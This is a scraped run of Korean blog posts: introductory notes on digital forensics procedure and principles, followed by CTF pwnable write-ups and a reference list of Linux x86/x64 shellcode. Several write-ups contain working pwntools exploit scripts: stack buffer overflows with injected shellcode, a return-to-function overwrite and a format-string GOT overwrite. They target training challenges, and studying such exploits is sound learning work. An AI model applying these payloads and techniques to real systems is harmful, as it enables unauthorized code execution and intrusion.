이번에는 디지털 포렌식의 수사절차 및 과정을 알아보도록 합시다. 

 

 

한번에 확인을 하자면 이렇게 5단계로 분류가 됩니다. 

어떤분들은 6단계라고도 하는데 여기서는 5단계로 설명하겠습니다. 

 

수사준비

우선적으로 포렌식에 사용될 툴들이 작동하는지 테스트를 해야될것입니다.

포렌식에 어떠한 장비가 필요한지 그리고 필요한 장비들을 확보를 해야하겠죠?

그리고 어려운 상황에 대처를 할 수 있도록 협조체계를 확립합니다.

 

증거물 획득

현장을 가서 현장에서 바로 발견된 증거를 분석합니다.

그리고 스냅샷(사진)을 찍고 이미징을 하게됩니다. 

증거물과 마지막에 법정에 제출한 증거가 일치해야하기 때문입니다.

(당연히 증거물이 신뢰성이 있도록 증거물이라는 것을 인증해야 되겠죠??)

 

보관 및 이송

증거물들을 안전하게 파손되지 않도록 보관하고 이송을 해야합니다

미세한 물리적 접근도 파손되는 경우가 있기 때문에 최대한 안전하게 이동을 하거나

보관을 해야합니다.

 

분석 및 조사 

증거물을 획득한 단계에서 당연히 여러가지 증거 후보들이 나올 것입니다.

증거로 사용될 수 있는것들을 분석을 합니다. 

숨어있는 은닉데이터나 로그나 해시를 분석하거나 등등 

범죄에 사용되었던 증거물들로 부터 증거로 사용될 수 있는 것들을 분석합니다.

 

보고서 작성 

일반 사람들 같은 경우 전공자가 아니기 때문에 누구나 잘 알아볼 수 있도록 

보고서를 작성해야 합니다. 그렇게 해야 법정에서 판사가 보고서를 통하여 판결을 내릴 수 있을 것입니다.

증거 분석결과와 증거담당자 및 전문가의 소견이 필요할 것입니다.

 

이렇게 이번에는 포렌식의 절차에대해 알아보았습니다

'Theory > Forensic' 카테고리의 다른 글

찬희의 디포이야기 - 파일시스템 기초  (0) 2021.10.01
찬희의 디포이야기 4  (0) 2021.09.28
외전 - 디포 스토리  (0) 2021.09.28
찬희의 디포이야기 2  (0) 2021.09.28
찬희의 디포이야기 1  (0) 2021.09.28

디지털 포렌식에서는 기본 원칙들이 존재하는데,

당연히 수사를 할려면 수사 원칙이 있어아 되겠죠?

어찌보면 당연한것이지만, 이것들이 지켜지지 않아서  증거로 채택이 되지 않습니다. 

 

정당성의 원칙 

입수증거가 적법절차를 거쳐서 얻어져야 합니다. 

1. 위법 수집 증거 배제 법칙 : 위법절차를 통해 수집된 증거는 증거능력이 없다. 

2. 독수의 과실이론 : 위법하게 수집된 증거에서 얻어진 2차 증거도 증거능력이 없다.

 

재현의 원칙 

당연히 같은 조건에서 항상 같은 결과가 나와야 합니다. 

만약 다른 결과가 나온다면 신뢰성이 떨어지겠죠??

 

신속성의 원칙 

전 과정은 최대한 빨리 신속하게 진행이 되어야 합니다. 

진행이 느려서 증거가 인멸된다면 안되겠죠??

 

절차 연속성의 법칙 (연계 보관성의 원칙) 

증거물 획득 - 이송 - 분석 - 보관 - 법정제출의

각 단계에서 담당자 및 책임자를 명확히 해야합니다.

 

만약 수집된 하드 디스크가 이송단계에서 물리적 손상이 있었다면 이송 담당자가

해당 내용을 확인하고 해당 내용을 인수인계 이후 과정에서 복구 및 보고서 작성등

적절한 조치를 취할 수 있어야 합니다. (증거가 손상이되면 안되니까요)

 

무결성의 원칙 

수집 증거가 위 변조 되지 않았음을 증명해야 합니다.

당연히 증거가 변조되면 증거로 채택이 되지 않을것입니다.

대표적으로 해시값을 비교하여 무결성을 증명합니다.

 

이렇게 디지털 포렌식의 5가지 원칙을 알아보았습니다.

'Theory > Forensic' 카테고리의 다른 글

찬희의 디포이야기 - 파일시스템 기초  (0) 2021.10.01
찬희의 디포이야기 4  (0) 2021.09.28
외전 - 디포 스토리  (0) 2021.09.28
찬희의 디포이야기 3  (0) 2021.09.28
찬희의 디포이야기 1  (0) 2021.09.28

제목 그대로 포렌식 이야기 할거구요

뉴비분들이나 처음 공부하는 분들에게 도음이 되었으면 좋겠습니다.

사실 제가 안까먹을려고 하는거지만요 :)

 

디지털 포렌식이란? 

법과학 또는 법의학의 한 종류로 볼 수 있습니다. 

법의학은 범죄사실을 규명하기 위해 각종 증거를 과학적으로 분석하는 분야인데,

쉽게 말해서 컴퓨터 과학 수사라고 보시면 될 것 같습니다. 

 

그래서 정리하자면~~

 

컴퓨터 관련 조사 및 수사를 지원하면서, 디지털 자료가 법적효력을 갖도록 하는 과학적 / 논리적 

절차와 방법을 연구한다고 합니다.  (꼭 컴퓨터만이 아니라 전자기기나 전자장비 다 해당되겠죠?)

 

 

이러한 사진을 본 경험이 있을겁니다 (본 적 없는데요 -> 괜찮습니다 ㅠㅠ)

범죄가 일어나면 경찰이 초동 수사를 하여 현장에 있는것을 가지고 분석을 하죠 

현장에 증거가 있었다는것을 증빙하기 위해서 사진을 찍거나

밀폐된 용기안에 증거물을 넣는것들을 합니다.

그와 마찬가지로 컴퓨터에서도 똑같이 진행을 한다고 보면됩니다. 

물론 당연히 컴퓨터와 실제 환경은 차이가 나겠죠??

 

대표적으로 혈흔이나 DNA, 지문 및 위조지폐 이러한 증거들은 아날로그 증거라고 한다면 

디지털 포렌식은 디지털 증거가 있을겁니다

(하드나 microSD, 네비게이션, 휴대폰,등등) -> 일상적으로 사용되는 전자기기 대부분 

 

디지털 포렌식의 등장 배경

당연히 컴퓨터 및 정보화 사회에 기술이 발전하면서 자연스럽게 사이버 범죄가 증가하고 

이에 대처를 하기위해서 기존에 없었던 새로운 형태의 기술이 필요하게 된것입니다. 

그래서 디지털 포렌식에도 여러가지 종류가 있습니다. 

 

1. 디스크 포렌식 

2. 시스템 포렌식 

3. 네트워크 포렌식 

4. 모바일 포렌식 

5. 인터넷 포렌식 

6. 데이터베이스 포렌식 

 

한번 나눠보자면 크게 이런것들이 있겠네요 

이렇게 포렌식의 기본적인 정의를 알아보았습니다. 

'Theory > Forensic' 카테고리의 다른 글

찬희의 디포이야기 - 파일시스템 기초  (0) 2021.10.01
찬희의 디포이야기 4  (0) 2021.09.28
외전 - 디포 스토리  (0) 2021.09.28
찬희의 디포이야기 3  (0) 2021.09.28
찬희의 디포이야기 2  (0) 2021.09.28

 

문제를 다운로드 해보면 

 

 

위의 화면처럼 입력받은 문자를 출력을 해주는데...

y를 입력하면 한번더 실행을 하고 n을 입력하면 바로 종료된다.

 

자세한건 IDA로 확인을 해보았다.

 

 

코드를 보면 s를 통해서 입력을 받고 있다. 

그래서 s를 이용하면 뭔가 해결책을 찾을 수 있을것 같다.

 

그러기전에 메모리 보호가 적용되었는지 확인해 보았다.

 

 

메모리 보호가 적용이 되어있지는 않다. 

그 말은 쉘코드를 집어넣고 ret overwrite가 가능하다는 이야기가 된다.

그러면 쉘코드를 작성하기 전에 한번 코드를 살펴 보자. 

 

 

s함수는 0x88만큼 할당이 되어있다. 

그러면 0x88이 ret의 시작주소 까지의 거리가 되는데 0x88은 136이된다.

ret의 끝주소 까지 하게되면 32bit는 4byte씩 쌓이니까 140만큼의 거리가 나온다.

 

출력되는 버퍼의 주소는 알 수 있지만 버퍼의 시작주소를 알 수 없다. 

그래서 Payload를 두번에 나눠서 작성을 해야 된다. 

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz",3006)

p.recvuntil('Data : ')
p.sendline("AAAA")
buf_addr = int(p.recv(10),16)

p.recvuntil('Again(y/n):')
p.sendline("y")
p.recvuntil('Data : ')

payload = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload +='a'*114
payload +=p32(buf_addr)

p.sendline(payload)
p.interactive()

 

위와 같이 작성을 해보았다. 

맨 처음에 한번 인자를 보내서 해당 버퍼의 시작주소를 알아낸 다음, 

26byte 쉘코드를 사용하였고 , 그래서 140 - 26 = 114의 크기 많큼 dummy(쓰레기값)을 넣어주었다.

 

실행해보면? 

 

 

flag를 확인 할 수 있다.

 

 

성공

'CTF' 카테고리의 다른 글

Hack CTF - simple_size_bof  (0) 2021.09.28
Hack CTF x64 Buffer Overflow  (0) 2021.09.25
Hack CTF - 내 버퍼가 흘러넘친다  (0) 2021.09.25
Pwnable.kr 1 - fd  (0) 2021.09.24
Hack CTF Basic_FSB  (0) 2021.09.23

 

문제를 다운로드 해보면 

 

 

buf의 주소가 출력됨과 동시에 종료된다.

 

 

다시한번 실행을 해보았는데 주소가 변경되어있다. 

ASLR이 들어가있는것 같다. 

 

그래서 IDA를 이용해서 열어보았다. 

 

 

해당 소스코드를 보면 현제 rbp - 6D30h라고 되어있는것으로 보아 

v4에서 RET의 거리는 0x6D30h라고 보면 될거 같은데 0x6D30은 10진수로 표현하면 

27952이다. 

 

자세히 보면 gets 함수가 나와있는데 이것을 이용하면 되지 않을까 생각했다.

(gets 함수는 크기에 상관없이 받아오니까)

 

gets 함수에 쉘코드를 집어넣으면 해결이 될거 같았다. 

그래서 먼저 쉘코드를 넣기위해서 확인을 해보았더니 

 

 

메모리 보호는 따로 되어있는거 같지는 않은거 같아서 

쉘코드를 집어넣기로 했고 Payload를 작성하였다.

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz",3005)
p.recvuntil("buf: ")
buf = int(p.recv(14),16)

payload = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"+"A"*27929 + p64(buf)

p.sendline(payload)
p.ineteractive()

 

buf에서 14byte의 크기를 받아온 후 16진수로 변환하였다.

여기서 받아온 주소를 return 주소로 넣어주면?

buf의 주소가 바뀌더라도 계속 14바이트의 크기를 받아오게 된다.

 

23byte의 쉘코드를 사용했으며 그러면 27952의 공간에 23byte의 쉘코드를 집어넣었다.

그러면 나머지 27952 - 23의 공간이 남는데 이 공간을 dummy값으로 채워줘야 한다.

그래서 A*27929로 메모리 공간을 채워준 후에  p64(buf)를 통해서 오버 플로우 시켜주면 flag를 찾을 수 있다.

 

 

'CTF' 카테고리의 다른 글

Hack CTF Simple_Overflow_ver_2  (0) 2021.09.28
Hack CTF x64 Buffer Overflow  (0) 2021.09.25
Hack CTF - 내 버퍼가 흘러넘친다  (0) 2021.09.25
Pwnable.kr 1 - fd  (0) 2021.09.24
Hack CTF Basic_FSB  (0) 2021.09.23

x32

25 Bytes Shell Code

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

26 Bytes Shell Code

 

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

 

41 Bytes Shell Code

-  setreuid(geteuid(), getreuid()) 포함

 

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

48 Bytes Shell Code

  -  \x2f가 없는 쉘코드

 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

 

x64

23 Bytes Shell Code

 

\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

 

31 Bytes Shell Code

 

\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05

 

 

'Theory > Pwnable' 카테고리의 다른 글

찬희의 포너블 기초 Stack Overflow 2  (0) 2021.09.29
찬희의 포너블 기초 Stack Overflow 1  (0) 2021.09.29
Pwn tools 소개 2  (0) 2021.09.22
Pwntools 소개 1  (0) 2021.09.14
찬희의 Pwn 포너블 기초 3주차 2차시 homework2.c  (0) 2021.09.10

 

일단 문제를 다운로드 해보자 

 

 

정상적으로 다운로드가 되었으면 한번 확인을 해보자 

저번 문제 처럼 메모리 보호가 있을수도 있으니 확인을 해보았다.

 

 

역시나 NX가 적용되어있었다.

그렇다면 쉘코드 삽입이나 그런 공격기법은 안먹힌다는 이야기다.

 

한번 코드를 알아보기 위해서 IDA로 열어보았다.

 

 

메인함수를 확인해보았지만 크게 뭐 다른점이나 의심가는 부분은 못 찾았다.

그래서 다른 함수들이 사용되었는지 함수 목록을 살펴보았다.

 

 

Dummy 값이 들어가는 함수로 추측이되는게 보이고 

그리고 callMeMaybe 라는 처음 보는 함수가 보여서 확인을 해보았더니 

 

 

쉘을 실행하는 함수이다.

하지만 main 함수에서 이 함수가 호출되거나 사용되고 있지 않았다. 

그래서 이 해당 함수를 실행시키게 된다면 쉘이 실행될 것이다.

 

그렇게 하기위해서 callMeMaybe 의 함수가 시작되는 함수 주소를 알아보았다. 

 

 

callMeMaybe ==  0x0400606 

 

해당 함수의 시작 주소를 알아냈으니 이것을 참고하여 payload를 작성했다.

 

from pwn import*
p = remote("ctf.j0n9hyun.xyz" ,3004)
#p = process("./64bof_basic") 

e = ELF("./64bof_basic")  
callMeMaybe =  0x0400606   

payload = ''  
payload += p64(callMeMaybe)* 36    

p.sendline(payload)             
p.interactive()

 

그대로 실행을 해보면?

 

 

flag를 확인할 수 있다. 

 

이 문제는 크게 어려웠던 문제는 아니었던거 같다

그냥 32bit에서 64bit로 바꿨다는 정도??

 

 

성공!!

'CTF' 카테고리의 다른 글

Hack CTF Simple_Overflow_ver_2  (0) 2021.09.28
Hack CTF - simple_size_bof  (0) 2021.09.28
Hack CTF - 내 버퍼가 흘러넘친다  (0) 2021.09.25
Pwnable.kr 1 - fd  (0) 2021.09.24
Hack CTF Basic_FSB  (0) 2021.09.23

 

문제를 다운로드 해서 봤더니

 

 

위와 같이 이름과 input을 입력하고 끝나버린다.

그래서 IDA로 확인 해보았다.

 

일단 처음보는 함수가 있어서 찾아보았다.

setvbuf라는 함수인데 https://chp747.tistory.com/162 여기를 참고하면 될거 같다. 

 

 

버퍼를 없앤다고 한다. 

그리고 나서 Name이 출력이 되고 name을 입력받는다.

read라는 함수를 사용하고 있는데 0x32u == 50 , 최대 크기가 50이 되어있다.

그러면 여기서 50보다 많은 인자를 보내주면?

 

 

역시나 이렇게 쉽게 풀릴리가 없다. ㅠㅠ

IDA에서 또 다른 함수가 있는지 찾아보았지만 크게 별 다른것은 없었다.

 

 

코드를 보다가 Name 이라는 부분에 의심이 갔다. 왜냐하면 name을 read로 입력을 받는데

어디에도 코드에는 name이 보이지 않아서 name의 주소로 들어가 보았더니 

bss영역에 존재하는것을 확인 했다. 

 (name의 주소값을 확인할 수 있는데 name은 0x0804A060이다.)

 

하지만 bss는 초기화되지 않은 정적변수를 의미한다.
bss 영역의 컴파일 동안 어느 정도의 크기를 저장할 것이라는 정보를 저장하고

런타임 중에 메모리를 확보함으로 현재는 정확한 주소를 알 수 없다.

 

코드를 다시한번 보면 이러한 코드를 볼 수 있다.

 

gets(&s)

 

여기서 보면 gets 함수를 사용하고 있으니 충분히 BOF가 일어날 수 있다.

그러면 여기서 BOF를 일으켜서 retern 주소로 가게 되는데 그전에 name에 쉘이 실행되게끔 

쉘코드를 삽입 후에 ret를 name으로 가게끔 하면 될 것이다.

 

그전에 쉘코드 삽입이 되는지 확인을 해야한다. 

아래의 스크립트를 입력하면 확인 할 수 있다. 

(당연히 해당 문제파일을 가지고 있어야 하고 checksec은 설치가 되어야 한다.)

 

checksec --file prob1 //checksec --file 해당 바이너리 이름

 

 

 

NX가 적용되어 있지 않다.

NX는 메모리 보호기법으로  Non executable의 약자이다.

한 마디로 '실행시키지 않는다'

좀 더 자세히 말하자면 heap과 stack과 같이

buffer overflow 공격에 이용되는 메모리 공간에 있는 코드를 실행시키지 않는다.

 

그리하여  nx가 적용되지 않았기 때문에 overflow를 일으킬수 있고

그래서 쉘코드 삽입이 가능하다.

 

from pwn import*
e = ELF("./prob1")
r = remote("ctf.j0n9hyun.xyz",3003)

context.log_level = 'debug'
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

name_add = 0x0804A060                                                               
log.info(r.recv())

payload = shellcode                                                                 
r.sendline(payload) 

log.info(r.recv())

payload = "" 
payload += "A"*0x14 + "A"*0x4
payload += p32(name_add)

r.sendline(payload)
r.interactive()

 

이렇게 쉘코드를 삽입하는 페이로드를 위와 같이 작성을 하고 실행해보면

 

 

이렇게 flag를 확인 할 수 있다. 

 

 

성공!!

'CTF' 카테고리의 다른 글

Hack CTF - simple_size_bof  (0) 2021.09.28
Hack CTF x64 Buffer Overflow  (0) 2021.09.25
Pwnable.kr 1 - fd  (0) 2021.09.24
Hack CTF Basic_FSB  (0) 2021.09.23
Hack CTF basic Bof #2  (0) 2021.09.22

 

처음배우는 입장에서 문제가 어렵다고해서 (많이 들어보기도 하고)

그냥 한번 들어가볼까 하는 생각으로 한번 들어가보았다.

일단 홈페이지에서 확인 했던데로 Putty를 사용했고 ID는 fd가 될것이고 PW는 guest가 될 것이다.

 

 

ls로 안에 있는 어떤 파일들이 있는가 확인을 해 보았다.

총 3가지의 파일이 보이는데 여기서 flag가 보여서 바로 실행해보았다.

 

 

Permission denied 즉 권한이 없다고 한다.

다른것들은 뭐가 있는지 확인 해 보자 

 

fd.c를 확인해보았다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32]; //32 buffer
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){ //인자가 2개보다 작을때
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234; //argv[1] - 0x1234를 fd에 넣음 
        int len = 0;
        len = read(fd, buf, 32); // buffer 읽어오기 
        if(!strcmp("LETMEWIN\n", buf)){ //LETMEWIN이랑 비교해서 같을때 
                printf("good job :)\n");
                system("/bin/cat flag"); // 쉘이 실행됨 
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

 

여기서 봐야 할 것은 read 함수인데 read 함수의 원형을 살펴보면 아래와 같다.

 

#include <unistd.h>

ssize_t read(int fd, void *buf, size_t nbytes);

 

여기서 보면 read 함수는

파일 디스크립터, 데이터를 저장할 버퍼의 크기 , 최대 길이 순으로 사용이 되는것을 볼 수 있다.

 

File Descripter란?

프로세스가 파일에 접근할 때 사용되는 인덱스. 윈도우 관점에서의 핸들

파일을 open할 때, 파일 디스크립터는 0을 포함한 양의 정수를 배당받는다.

그 중, 0 과 1,2 는 기본으로 할당되는 FD이다.

 

각각 표준 입력, 표준 출력, 표준 에러를 의미한다.

 

0 = 표준 입력(키보드)

1 = 표준 출력(모니터)

2 = 표준 에러(모니터)

 

그렇다면 fd.c 의 코드에서 보면 아래와 같은 코드가 있는데...

 

int len = 0;
len = read(fd, buf, 32); // buffer 읽어오기

 

read라는 함수를 이용해서 fd에 들어가는 값을 읽어오는것 같다.

그렇다면 fd는 0이 되어야 우리가 입력한 문자열을 읽어올 수 있다는 말이 된다.

 

다음 코드를 보면 아래와 같은데 

 

len = read(fd, buf, 32); // buffer 읽어오기 
 
 if(!strcmp("LETMEWIN\n", buf)){ //LETMEWIN이랑 비교해서 같을때 
                printf("good job :)\n");
                system("/bin/cat flag"); // 쉘이 실행됨 
                exit(0);
        }

 

buf가 LETMEWIN이라는 문자열이 되면 조건문 안의 코드를 실행하게 된다.

그러면 자동적으로 bash 쉘이 사용이 될것이고 flag를 얻을 수 있을것이다.

 

아래의 부분을 자세히 보면 

char로 선언한 배열이라서 숫자를 입력을 한다고 하더라도 

결국엔 문자열로 들어가게 되는데 atoi 함수를 사용해서 문자열을 정수형으로 변환해주고 있다.

따라서 argv[1] - 0x1234의 결과 값이 fd에 들어가게 된다.

 

 int fd = atoi( argv[1] ) - 0x1234; //argv[1] - 0x1234를 fd에 넣음 
        int len = 0;
        len = read(fd, buf, 32); // buffer 읽어오기 
        if(!strcmp("LETMEWIN\n", buf)){ //LETMEWIN이랑 비교해서 같을때 
                printf("good job :)\n");
                system("/bin/cat flag"); // 쉘이 실행됨 
                exit(0);
        }

 

이전에 봤었던 파일 디스크립터를 참고해보면 

우리가 입력을 했던 값을 읽어올려면 fd가 0이되어야 할 것이다.

일단 buf에 LETMEWIN이라는 문자열을 입력해서 flag를 실행을 해야하기 때문에 

fd를 0으로 만들어서 우리가 입력할 LETMEWIN을 입력 할 수 있도록 만들것이다.

 

0x1234를 10진수로 변환하면 4660이 된다.

그러면 우리는 이 fd를 실행시키고 뒤에 인자를 4660을 입력해주면 될것같다.

일단 실행권한이 있는지 확인을 해보자 

 

 

다행이도 fd는 실행권한을 가지고 있다. 

나머지 fd.c와 flag는 실행권한이 없어서 실행을 시킬 수 없다. 

 

여기서 fd를 실행시키면서 인자를 같이 보내주면 될 것 같다.

 

 

4660을 인자로 보내주었더니 fd가 0이되면서 입력을 기다린다.

그래서 코드에서 봤듯이 LETMEWIN이라는 문자열과 일치하면 쉘을 실행시키는 코드였기 때문에 쉘이 실행되어 flag를 얻을 수 있었다. 

'CTF' 카테고리의 다른 글

Hack CTF x64 Buffer Overflow  (0) 2021.09.25
Hack CTF - 내 버퍼가 흘러넘친다  (0) 2021.09.25
Hack CTF Basic_FSB  (0) 2021.09.23
Hack CTF basic Bof #2  (0) 2021.09.22
Hack CTF basic bof#1  (0) 2021.09.22

 

문제를 다운로드 해서 풀어보면 

 

 

입력 받았던 값을 그대로 출력해준다.

그래서 조금더 확인해보고자 IDA를 사용해서 확인해보았다.

 

 

음 여기서는 볼만한게 없는것 같다.

그래서 여기서 나오는 vlun 함수를 보기위해서 한번 들어가 보았다.

 

 

1. char s 는 2056 byte를 할당 받았다 

2. char format은 1032 byte를 할당 받았다. (format과 s는 1024byte 차이)

3. fgets 함수는 s를 1024byte 까지 받는다. 

4. sprintf 함수는 format을 1024만큼 받는다. 

-> 그러면 여기서 우리가 이전에 했었던 오버플로우 기법은 힘들어 보인다. 

    (메모리의 크기가 1024차이가 나는데 1024만큼 받기 때문)

 

그런데 여기서 주의해야 할 점은 바로 이부분이다.

 

 

분명히 배열의 형태로 받고는 있지만 서식문자열이 없다. 

char format이라고 선언을 했으니 문자열의 가능성이 높아보이는데 그러면 %s가 있어야 한다.

또 함수들을 찾아보다가 flag라는 이름의 함수를 확인 할 수 있었다.

 

 

Shell을 이용하는 함수였다. 

그러면 우리가 아까 보았던 format을 이용해서 flag를 실행하도록 하면 되지 않을까

 

아까 snprintf함수는 서식 문자열이 없는 상태였다. 

그래서 서식문자열을 한번 입력해보았더니 

 

 

입력했던 aaaa 문자열이 들어가고 그다음 0이 나오고 그다음 서식문자열의 결과 값이 나온다.

두번째 서식문자열에서 처음 입력한 4byte를 포인팅하고 있다.

aaaa의 문자열을 0x61616161이 포인팅을 하고 있다는 이야기가 된다.

 

아까 코드를 확인했을때 printf(format)이라고 되어있었으니까 이 printf 함수의 주소에 

flag함수의 주소로 바꿔주거나 아니면 덮어쓴다면? -> flag를 얻을지도 모른다.

 

flag의 주소를 확인해보자 

flag의 주소  = 080485B4

 

printf 함수의 주소를 확인해보자 

printf plt = 080483D0

 

 

printf got = 804A00C

printf 를 알기위해서는 plt와 got를 알아야 한다. 

해당 정보는 아래에서 확인하기 바란다.

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

 

앞에서 말한것 처럼 

아까 코드를 확인했을때 printf(format)이라고 되어있었으니까 이 printf 함수의 주소에

flag함수의 주소로 바꿔주거나 아니면 덮어쓴다면?

-> flag를 얻을지도 모른다. 

-> 그래서 아래의 코드로 payload를 작성했다.

 

from pwn import*                                                                                                                                     
p = remote("ctf.j0n9hyun.xyz",3002)                                                                                                                   

p.recvuntil("input : ")                                                    
printf_got = 0x804a00c                                                     
payload =p32(printf_got)+"%134514096x%n"  #flag addr - 4byte                                                                        

p.sendline(payload)                                                        
p.interactive()

 

"AAAA"가 들어갈 자리에 printf_got를 적어주면,

0x61616161이라고 나왔던 것이 printf_got 주소로 바뀔 것이다.

또한, printf_got를 flag 함수의 주소인 0x80485b4=134514100으로 바꿔주었다.

 

그러면 printf(flag())? 라는 느낌이 드는데...(예시니까 흘려도 되용)

 

flag함수를 실행을 하게 되는데 134514100이 아닌 134514096으로 payload를 작성했다.

이유는 우리가 아까 서식문자열을 입력했을 때, 두번째 부터 입력값을 포인팅하고 있었기 때문에 

첫번째 4byte는 빼줘야 한다. 그래서 134514100 - 4 = 134514096이 된다. 

 

 

flag를 확인하였다. 

FSB를 이용한 문제였는데 조금더 공부를 해야할것 같다.

 

'CTF' 카테고리의 다른 글

Hack CTF x64 Buffer Overflow  (0) 2021.09.25
Hack CTF - 내 버퍼가 흘러넘친다  (0) 2021.09.25
Pwnable.kr 1 - fd  (0) 2021.09.24
Hack CTF basic Bof #2  (0) 2021.09.22
Hack CTF basic bof#1  (0) 2021.09.22

+ Recent posts